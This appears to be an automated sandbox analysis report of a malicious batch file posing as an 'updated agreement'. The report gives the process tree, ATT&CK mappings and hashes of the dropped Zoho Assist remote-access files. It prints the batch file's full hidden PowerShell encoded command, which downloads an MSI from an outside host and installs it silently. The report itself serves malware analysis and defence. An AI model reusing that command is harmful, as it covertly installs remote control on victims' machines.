Token: SeSecurityPrivilege	1992	7z.exe
Token: SeRestorePrivilege	4556	msiexec.exe
Token: SeTakeOwnershipPrivilege	4556	msiexec.exe
Token: SeRestorePrivilege	4556	msiexec.exe
Token: SeTakeOwnershipPrivilege	4556	msiexec.exe
Token: SeRestorePrivilege	4556	msiexec.exe
Token: SeTakeOwnershipPrivilege	4556	msiexec.exe
Token: SeRestorePrivilege	4556	msiexec.exe
Token: SeTakeOwnershipPrivilege	4556	msiexec.exe
Token: SeRestorePrivilege	4556	msiexec.exe
Token: SeTakeOwnershipPrivilege	4556	msiexec.exe
Token: SeRestorePrivilege	4556	msiexec.exe
Token: SeTakeOwnershipPrivilege	4556	msiexec.exe
Token: SeRestorePrivilege	4556	msiexec.exe
Token: SeTakeOwnershipPrivilege	4556	msiexec.exe
Token: SeRestorePrivilege	4556	msiexec.exe
Token: SeTakeOwnershipPrivilege	4556	msiexec.exe
Token: SeRestorePrivilege	4556	msiexec.exe
Token: SeTakeOwnershipPrivilege	4556	msiexec.exe
Token: SeRestorePrivilege	4556	msiexec.exe
Token: SeTakeOwnershipPrivilege	4556	msiexec.exe
Token: SeRestorePrivilege	4556	msiexec.exe
Token: SeTakeOwnershipPrivilege	4556	msiexec.exe
Token: SeRestorePrivilege	4556	msiexec.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
4920	ZohoURS.exe
6528	ZohoURS.exe
6528	ZohoURS.exe
6528	ZohoURS.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
6528	ZohoURS.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
1644	msiexec.exe
4556	msiexec.exe
5552	ZohoURSService.exe
5780	ZohoURS.exe
1312	ZohoURS.exe
5136	ZohoURSService.exe
4920	ZohoURS.exe
6528	ZohoURS.exe
4920	ZohoURS.exe
6528	ZohoURS.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 5680 wrote to memory of 2092	5680	cmd.exe	90
PID 2092 wrote to memory of 4536	2092	net.exe	91
PID 5680 wrote to memory of 5684	5680	cmd.exe	92
PID 5684 wrote to memory of 1644	5684	powershell.exe	94
PID 4556 wrote to memory of 4952	4556	msiexec.exe	96
PID 4952 wrote to memory of 1992	4952	ZADeployer.exe	97
PID 5552 wrote to memory of 1312	5552	ZohoURSService.exe	102
PID 5552 wrote to memory of 5780	5552	ZohoURSService.exe	103
PID 5136 wrote to memory of 4920	5136	ZohoURSService.exe	107
PID 5136 wrote to memory of 6528	5136	ZohoURSService.exe	108

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\NMLSUpdatedAgreementJuly26.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5680
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2092
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAPQAnAFMAdABvAHAAJwAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKACQAdQByAGwAPQAnAGgAdAB0AHAAcwA6AC8ALwBwAHUAYgAtADkANABiAGMAZABiADIAYwAwAGQANQA2ADQANABhADEAOABmADkANwA0AGQAMQA3AGUAZgAzAGUAYQA3ADAAZQAuAHIAMgAuAGQAZQB2AC8AWgBBAF8AQQBjAGMAZQBzAHMAXwBNAHkAXwBEAGUAcABhAHIAdABtAGUAbgB0AC4AbQBzAGkAJwAKACQAdABtAHAAPQBbAEkATwAuAFAAYQB0AGgAXQA6ADoAQwBvAG0AYgBpAG4AZQAoACQAZQBuAHYAOgB3AGkAbgBkAGkAcgAsACcAVABlAG0AcAAnACwAJwBfAF8AcABrAGcAXwAnACsAWwBnAHUAaQBkAF0AOgA6AE4AZQB3AEcAdQBpAGQAKAApAC4AVABvAFMAdAByAGkAbgBnACgAKQArACcALgBtAHMAaQAnACkACgB0AHIAeQB7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJAB1AHIAbAAsACQAdABtAHAAKQB9AGMAYQB0AGMAaAB7AFsAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAC4ATQBlAHMAcwBhAGcAZQBCAG8AeABdADoAOgBTAGgAbwB3ACgAJwBEAG8AdwBuAGwAbwBhAGQAIABmAGEAaQBsAGUAZAA6ACAAJwArACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQAsACcAQgBhAHQARwBlAG4AIABJAG4AcwB0AGEAbABsAGUAcgAnACkAfABPAHUAdAAtAE4AdQBsAGwAOwBlAHgAaQB0ACAAMQB9AAoAaQBmACgALQBuAG8AdAAoAFQAZQBzAHQALQBQAGEAdABoACAAJAB0AG0AcAApACkAewBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARABvAHcAbgBsAG8AYQBkACAAaQBuAGMAbwBtAHAAbABlAHQAZQAgAC0AIABjAGgAZQBjAGsAIAB0AGgAZQAgAFUAUgBMAC4AJwAsACcAQgBhAHQARwBlAG4AIABJAG4AcwB0AGEAbABsAGUAcgAnACkAfABPAHUAdAAtAE4AdQBsAGwAOwBlAHgAaQB0ACAAMQB9AAoAdAByAHkAewAkAHAAPQBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAbQBzAGkAZQB4AGUAYwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABAACgAJwAvAGkAJwAsACQAdABtAHAALAAnAC8AcQBuACcALAAnAC8AbgBvAHIAZQBzAHQAYQByAHQAJwApACAALQBXAGEAaQB0ACAALQBQAGEAcwBzAFQAaAByAHUAOwAkAGMAPQAkAHAALgBFAHgAaQB0AEMAbwBkAGUAfQBjAGEAdABjAGgAewBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAQwBhAG4AbgBvAHQAIABsAGEAdQBuAGMAaAAgAGkAbgBzAHQAYQBsAGwAZQByADoAIAAnACsAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlACsAJwAuACAASQBmACAAeQBvAHUAIABzAGUAZQAgAFQAaABpAHMAIABhAHAAcAAgAGMAYQBuAHQAIAByAHUAbgAgAG8AbgAgAHkAbwB1AHIAIABQAEMAIAB0AGgAZQAgAGkAbgBzAHQAYQBsAGwAZQByACAAaQBzACAAdABoAGUAIAB3AHIAbwBuAGcAIABhAHIAYwBoAGkAdABlAGMAdAB1AHIAZQAgACgAeAA2ADQALwB4ADgANgAvAEEAUgBNADYANAApAC4AJwAsACcAQgBhAHQARwBlAG4AIABJAG4AcwB0AGEAbABsAGUAcgAnACkAfABPAHUAdAAtAE4AdQBsAGwAOwBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAkAHQAbQBwACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgADAAOwBlAHgAaQB0ACAAMQB9AAoAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJAB0AG0AcAAgAC0ARgBvAHIAYwBlACAALQBFAEEAIAAwAAoAaQBmACgAJABjACAALQBuAGUAIAAwACAALQBhAG4AZAAgACQAYwAgAC0AbgBlACAAMwAwADEAMAApAHsAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAnAEkAbgBzAHQAYQBsAGwAIABmAGEAaQBsAGUAZAAuACAARQB4AGkAdAAgAGMAbwBkAGUAOgAgACcAKwAkAGMALAAnAEIAYQB0AEcAZQBuACAASQBuAHMAdABhAGwAbABlAHIAJwApAHwATwB1AHQALQBOAHUAbABsADsAZQB4AGkAdAAgACQAYwB9AA==
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5684
- - C:\Windows\system32\msiexec.exe
    "C:\Windows\system32\msiexec.exe" /i C:\Windows\Temp\__pkg_c470e6b4-cb7f-4d89-a017-0f1b2b8d465a.msi /qn /norestart
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:1644

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4556
- C:\Program Files (x86)\ZohoMeeting\UnAttended\ZADeployer.exe
  "C:\Program Files (x86)\ZohoMeeting\UnAttended\ZADeployer.exe" install
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4952
- - C:\Program Files (x86)\ZohoMeeting\UnAttended\7z.exe
    "C:\Program Files (x86)\ZohoMeeting\UnAttended\\\7z.exe" x "C:\Program Files (x86)\ZohoMeeting\UnAttended\\\ZohoMeeting.7z" -o"C:\Program Files (x86)\ZohoMeeting\UnAttended\\" -y
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1992

C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURSService.exe
"C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURSService.exe" run -SessionType URS -productID 1
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5552
- C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURS.exe
  -productID 1 -URS_REQUEST -wsn assist.zoho.com -check_urs_preferences -urs_pref_timeout 90
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Suspicious use of SetWindowsHookEx
  PID:1312
- C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURS.exe
  "C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURS.exe" -productID 1 -URS_REQUEST -wsn assist.zoho.com -urs_pref_timeout 90
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Suspicious use of SetWindowsHookEx
  PID:5780

C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZA_Upgrader.exe
"C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZA_Upgrader.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3960

C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURSService.exe
"C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURSService.exe" run -SessionType URS -productID 1
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5136
- C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURS.exe
  -productID 1 -URS_REQUEST -wsn assist.zoho.com -check_urs_preferences -urs_pref_timeout 90
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  PID:4920
- C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURS.exe
  "C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURS.exe" -productID 1 -URS_REQUEST -wsn assist.zoho.com -urs_pref_timeout 90
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:6528

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e58c09f.rbs

Path C:\Config.Msi\e58c09f.rbs
Size 35KB
SHA256 dcb0b768b4391e7a60d8915fd3392e0db487b2d098f1e46cdc61065621916723
MD5 4bdaebbb92680458805652f56b0cd17e
SHA1 a0fc4090fab0bb98586eec3da1a3bcc430dbefde
SHA512 01aecd74fc9bd97f28fec4e1f117e5b8bd5fb3c44a09ca31e40c73a22ab0fd1014d6926c7907a99204ca99e531276c62c4c78ddf80ee5f370453874328ac6f94
SSDEEP 192:2zKycp8O1TmECHYkDVXIIwkDVXuIJHSNjph:2mHgwkDVAkDV/S1
TLSH
T1A4F2A5067A2192D3E9C64F76D30227963773C6A2D20017DF58FEC920EE57AD46AD82CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7z.dll

Path C:\Program Files (x86)\ZohoMeeting\UnAttended\7z.dll
Size 1.1MB
SHA256 25a52dd0a38f58001779b12e84c2937aa52a922a4db9c43fa89214f11a3f4766
MD5 a8f57d77bac092272792730872a1d8f7
SHA1 e85d4eb97ed735bbf209c7fbcc8f6d37d70fcb36
SHA512 bfba966b23292adfe38d2bbc36cae6fce8465ba4f30a7fd8fb4e51aaef5126363b11bc3e352ad267a9a64b18ea083974ce94e431b4cc40238951f9015df4578d
SSDEEP 24576:Oi6tfenkDGFiGi/7KQNLjoonYynrnJUTqrbL44HdvWZX:O/zDGwGi/7KBynrnaGvn9vWZX
TLSH
T188358D11F7F1C478C98A45308A29ABF550F9E71ACA1068C36BC0FF6E6F31CD6D229959
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7z.exe

Path C:\Program Files (x86)\ZohoMeeting\UnAttended\7z.exe
Size 265KB
SHA256 54353ea62390f3151fc9dd9cadc86694e17d7d75a7ee6e39ca6285fa4bfb7336
MD5 bf7cf1b380ba84e60ffafd1f5bfcfa78
SHA1 1bac9e6ede9f6e0971146a27265175c40799c72d
SHA512 744d2a3234e1a7db5a626ca986b46e1af7367272fb3e6d3cb4f8608cdcf7a51988a934c530ed7d36c7f5c1af678d99fbf004426b317735e1872a855c1a437c25
SSDEEP 6144:ve/bz8iKQFmDISg2fGsrV5X5gVhUf3nvWZ/6:W/8ihqvg2fGsRt5YhCWZ
TLSH
T18F446C123BF0C57AD6430233CE5D5BE5A0FAA7694D21488367C40E2CEB758D6E369E2D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

AssistLogo_white_border_32.ico

Path C:\Program Files (x86)\ZohoMeeting\UnAttended\AssistLogo_white_border_32.ico
Size 14KB
SHA256 dd72cc36c3e664913059cc64a852fe673a8b6eb264632fefae20649a27e999d4
MD5 d669e7bceff12a455fd097dedef847eb
SHA1 eba799a79331e06d412b8ed81bdacdf1f3a824bb
SHA512 23ca689e8b076440b9d255782649555d79d227b026ca737fb928a7181bb54b2f6d5331894f10e7e9b5b661e1d23815a4dae7a25918b86352e371f4781e197b42
SSDEEP 192:jVi4fDR6guVkGFWrktZqlXR/BRVjUXGGNGOF5cMZX4RvJYZ/:jR9xAFWr5lXR/fuL5cMZX4ZJc/
TLSH
T15562B5A43148C266E13902309C7BDCDA4326FCAB5E14D60DFE74B3EF6B76102A559CC1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ZADeployer.exe

Path C:\Program Files (x86)\ZohoMeeting\UnAttended\ZADeployer.exe
Size 6.5MB
SHA256 b0c09192bf5925717b7f04a3aeebe22f79389aef7eddb7ed52338d12fb14f9a3
MD5 e463701fd3b134d71f104465c3314613
SHA1 5ca865a09522e194d61a76da63ecae3ad9477a78
SHA512 04700df349ae9254f6b893e21239b34e14007ff9f2e6ec5ab03ad7eabc4e0908131fbd5e72016df48dcd3b3eea08bce57b2ccfd2b363b564736bad54362647c6
SSDEEP 98304:yPiodODXK+f6BcJ7F6bZ2KZmsZo2HeJDLu9/l3B6kY05fu4G1MT6lNHHMCwt16:yldOm+f63bfyuJ95fqMT6lNHsCwt4
TLSH
T11C66AE11BD42C072D94201705A6DFBFE96BDAE340BB444C757846B297C325D32B3ABAB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ZohoMeeting.7z

Path C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting.7z
Size 25.3MB
SHA256 4f280714af8dcf5ee85933052a7827ae1e4e7fc840e546d9e3dae45f36b1aeec
MD5 5cd7c8216b57b1f9c188a032d4a2247c
SHA1 a86e95ec001cb81402eb19abadade4714d7085e9
SHA512 7828dc68f1f25fb892aa283c7957f162728c36b4e7f7f49b5a95598b4401e8ae1e87380727e218f2475da64c4765b557bfbc24fb971503a95f6be511d8c1fbda
SSDEEP 786432:U1Kxjdp8dYSVHdf9UB6I9gInm6mEAacWic:U1KjLGFHUgegIiEhcO
TLSH
T16B4733C84EF8AD47DE9BCCD1D3A22C4AE1F6409FAE78BD5D7724A631A0B6560C334509
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ClientSocket.dll

Path C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ClientSocket.dll
Size 3.2MB
SHA256 d285cbb665349d2a6af7f0c24d2d85f72ab5035a69959d6d9eb31da898343d05
MD5 7aba984e499418fdc411e5518697b44a
SHA1 8998f692ae536e2505166df5fba1a33d3c211ab3
SHA512 38e51c934b371b5c8b770b754880d3b8a0f7466d384a0d405efc5c9e19228b214039b508a4f840ff5124e4207be3d6f9c90cad7e53a745d55afd3f0b955dde66
SSDEEP 49152:s04wgUVZ+39GdFPF8I2WJtnAgzCPdVXDCfvJWNJSskp:FgU63EdFqI2WrnFzKVzCn
TLSH
T104F5AE13BA83C572DCCE02701566DBBE893A9A10473484D397D47E6A9C731D2273BB6E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

AgentApplicationResources.properties

Path C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Resource\Language\AgentApplicationResources.properties
Size 15KB
SHA256 69f4db49ffb502944417b233366031fd1485ca8dcdafcba94730fd1019ea7bc1
MD5 881634043b58c305a61e5b54d9cff6bc
SHA1 ca13d174c265fd70d7aeda42577bf99c0f05b314
SHA512 847b233699a71c0ecc4a5472d732184ba6235f1a33a1f0c0cb5915f345e3203fa1baa222f6bcd2ab4808a2853de5ce8d772f34d61f915030ea49e38c5f80f679
SSDEEP 384:o1MXwzMj4IQZEqzOiRI7t5kyiQTIzJfUAEz:o1MX2O4IQ2qzOiRI7t5klQTI1fUAEz
TLSH
T1A862835E9699693E47C33503ECF21AA577FE948C9370B0755034D1B8229D388AADF2B3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Settings.conf

Path C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Settings.conf
Size 60B
SHA256 fdd7b9237db53968ea67662b40be859718b4249593346bde3acbbe74f85b228a
MD5 d4bce2620089e1c7a7df20bb9d21ec77
SHA1 f46eabf525f1d80c2c2c6b9df677b3db119b1b39
SHA512 51f65e506600b153d13cb14232df190f6beec57f15030da45710cd598c29fc01b1f6326de52089b8064ba8ef53500392ad66a4d6f2dfbbb77f9b05f195938531
TLSH
T121A0026197878C2671CCF1694D44859557D49519D54148C3545D9E08F1C604861484C0
MD5 SHA1 SHA512 TLSH

Submit Download

ToolsIQ.exe

Path C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ToolsIQ.exe
Size 465KB
SHA256 7082baed8924a67f8d5e6e2be7605384793d2bca691168c21b1d9b675d298fb0
MD5 3860fee3bd36f0bd9d96720e3bcb68a0
SHA1 95e678f860d53ebdb365add943c691758f5ee252
SHA512 e963c2f5d370e16b0b7025ce98f210a45236fe47468fb9306f1139da373d348fd543c09110613298ba75a0ef2df0dd638252c0c5b99ee39be1893cae8d7970ba
SSDEEP 6144:uFiehNFfcCTHgM3HPdu7I2pTSFN1cexxaD3sRSfZsI8inuGYBidIAOqupRmHPiJB:uFieJfAEo7IYeOe492I0GYXY+RmHPY
TLSH
T158A47C1036D2C435E5B256700E79CB66453EBA610F3189DF73C49ABE5E342C1AA32B7B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

URSCredentialProvider64.dll

Path C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\URSCredentialProvider64.dll
Size 548KB
SHA256 e7be2116ad1fdf0948aae10a96c4c2a125aea8d2a9ebebca47f5f18a0efac054
MD5 f33b2dec36eb416ee91424d232cfabfc
SHA1 5cdd48b2f9bdd37102ad5555d6af1e381eb44144
SHA512 db8750658041edfd0619446717f3d259954ce7d6680f69c8f8b115263ac741b8df58c8bf35d6587da9a18c6af06012f57d68febf1e99bb7a5eab6be560b336a8
SSDEEP 6144:0X5xlCh2IExYAIWIuhS79F0PAW71TX8zh0+dCJGohDk2bhekeJR:ACh2IEUWIWR1Qzbo9kuQ
TLSH
T13EC4081577E94AA8F1B38A349C728506DA72BC511B71DE9F2380061E1E77FD09E39F22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ZAService.exe

Path C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZAService.exe
Size 7.1MB
SHA256 e170d2480d2b914f1a071d26eef421833122faef24976d7d3df997bbd23a4fb6
MD5 3e092c7f31f0eec527ab7ec5ea7086dd
SHA1 4880ee589a68f32f4d32e29427bedcf0a4265da9
SHA512 9bf72e2f19fd0ba487b3269ed15907fe2456e4a2fb5e55914027b339b8f3247a47754392d7e2daefa20f4767c1294cf47ff1e028ff9c130c6fae74a3184df2b3
SSDEEP 196608:Gw1yiXi+0cwO4WscHSQCDS0r943CFg4xu72eY2gr:GbGL2Z4SQ272g
TLSH
T1FE76BE127B83C036EDA20171592DEF79847EAD781B7890D7A3C44B2D9D322C35A39B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ZA_Bulk_Deployment_Manager.exe

Path C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZA_Bulk_Deployment_Manager.exe
Size 846KB
SHA256 c0d67305bc438c2810afe2f3f6dd54868f05546ec3afdd3bae8cc813d1d6eded
MD5 fc3db5e09cc8399a98e1822a6366f6e4
SHA1 cd43ec1e5896fd064956173b98a19c485c0a0681
SHA512 a24051fc5285b018556a5b2843273f9cbf7457fc915fd2ddb10eeffd840d1a9380bb28ccc8d71c422f284d028c21d41fafb53f4ab5990e56dbb94adae4aac2da
SSDEEP 12288:pa/TzqBJ3p+wwFFNJutkdcSKYkqjVnl36ud0zR/6CtQ9PUHIG8D3Kejm5XyFot2i:AnDKYkqjVnlqud+/2P+ANgXyFoBkkA
TLSH
T19405AE8332BA872AE2BAC575D42A01F64BB42D5EA425D7CF598038DDE4B370147237DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ZA_Upgrader.exe

Path C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZA_Upgrader.exe
Size 6.2MB
SHA256 65840edea17ddc88998ff6ecb8566c50bfabc125a94a7efdc5d1a80af3f018b9
MD5 a2b8e27fcd6389aa3b4d7e225f0ad065
SHA1 6f2d56d05ac2208e4bdef015750fea8a79ecf7b5
SHA512 b5d34db0a8614d9d78085d0af9cc76f6a2db23e2a3367aa1ba1165e6fb9b456e6c01ce10d71eb4fa3378247e7e4f7e06679174ed54a30ef3374479ada12effdc
SSDEEP 98304:EVfprMhgV8X7A1035qotEFZg4fBEtnYjmDst51T2Mojui396kPAnDarCnH52A:OrMhgV8X7C035Szg4pEktWEkPAnICnA
TLSH
T10366BE127A42C072FD9201719869FBBE807DA9201B7580D3E7D4AF2D59B22D31A35B7F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ZohoTray.exe

Path C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoTray.exe
Size 6.5MB
SHA256 1c26894a4736ddcd96c8b0138471f0f19950d4cf1f99e4008d197548e17aec47
MD5 910b21b459318b08d17f7757b464b446
SHA1 400b5cb29e5a77301e7e6c659e8feb794af82f3d
SHA512 7478906958a91febc4a7a0ec30e59e51d408aab84066fbf26a2f3f11b5bbf02fbdc24d9ccb839586014826417c6632bbc8dddf003830e3a3962c3d9460e2d921
SSDEEP 196608:dXFaO/Mala2eDGGxKCBjZimBcoMIQd1G+Te9NNB:dTjGDipoMg9
TLSH
T16566AD137E838872ED920171492DFBBA857DBD200B3744C76684AB2F5C722D25A36B77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

agent.exe

Path C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\agent.exe
Size 14.5MB
SHA256 ad3b378b89b0aa5795f31f1f7e71086bdfcbba3fc930e6248bc340d5eb9dffd1
MD5 39b14d3d752564aedb22e30d6b9b18d4
SHA1 5e827c44f8f462d99af7beca8445495ffc12d791
SHA512 f1c200e7611024cd755f23b910238cabc822b734d536d1e3710c496761ca79ab6261978331d6a324e0ec304134801aa9e3548a1d751ea83b28b96b118362c33e
SSDEEP 196608:kQ2v+SMdW9Cj0d9ZUKNQ3ufFoviMsSnuebQa+Jm+eWxZZxiLmfoIqOQAUOb9wi:g+Su1vJueEaLT2ZZCIqlAUU9wi
TLSH
T19BE60830A6C4D46BE3A31930947C96B6452A7C34EB38A9CF5145BE6E24356E305BCF3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

license.rtf

Path C:\Program Files (x86)\ZohoMeeting\UnAttended\license.rtf
Size 51KB
SHA256 6e29c59f8e107b61d26eca465ea8eaa421998af223496253bacd0c761bb99222
MD5 645d5ed804598110498214c5193f4202
SHA1 2048418ec4f159f1dc7b62dd6e969b6219ae779e
SHA512 f4f750d4a75b3c6839c51a131d7c60a0fdc9362bf54e0ad704c751bdd17e7f384da1ffe906c1b08f25b2b8548770692337edf76785437f252588e974277f25c5
SSDEEP 768:q1VjB1zmiWut0nN6zEscKHZE8oVojrc9YX:qPzmBnN9+HPoWPcKX
TLSH
T1883320EC114422AAD3A322E1AF1AF0847A2BF92814F1D4E474DFD3BD61BF5ACD172521
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Proxy.conf

Path C:\ProgramData\ZohoMeeting\Proxy.conf
Size 59B
SHA256 cde86c1956e6ad3cf88c114acddb9209b509fc20b2506b6c88ba90c8c8a059dc
MD5 7985af3bc92feb20401798e9eae5ca2a
SHA1 2f95d82773881461ff01aca9f2dd150fc8adfca5
SHA512 dd56c45dd50481946951b6db013aa07e3e5eeb1b465538623abc8cd93421d02c41097f00405b2ff903504c9e3706756300f359289ee8b569ab45090438355287
TLSH
T1C6A002BAA9814459117D13C151B400F546D511060621C11DA714720539E748B367102C
MD5 SHA1 SHA512 TLSH

Submit Download

LogFileTray.log

Path C:\ProgramData\ZohoMeeting\log\LogFileTray.log
Size 14KB
SHA256 75098625211d4be3aa1ff1a1cfcb8af09770ca97b154e217b4bde1f11958cc2b
MD5 353b8eb8babd0dcbbcd35d7af837b568
SHA1 fdaa1184e30964722d1092aa9c3bad8b17f928a9
SHA512 f29e98afff93ed8678d4261f6ac9b7eae6b4e03e6ce7ecfd12a9c04d4af2bf48b2f20e3cc45af033743128fa709ac76192be476fde03ea1978fc2895e383c1e2
SSDEEP 384:60zW2LbZCnkXUkXwb2gw0VD5ewYIg9yNS/:6dkXUkXxqm
TLSH
T1EE62AEC917655CDF06D8618C9C66A7C29FA39F9228050992B611B3CD83CE481BFFE978
MD5 SHA1 SHA512 SSDEEP TLSH

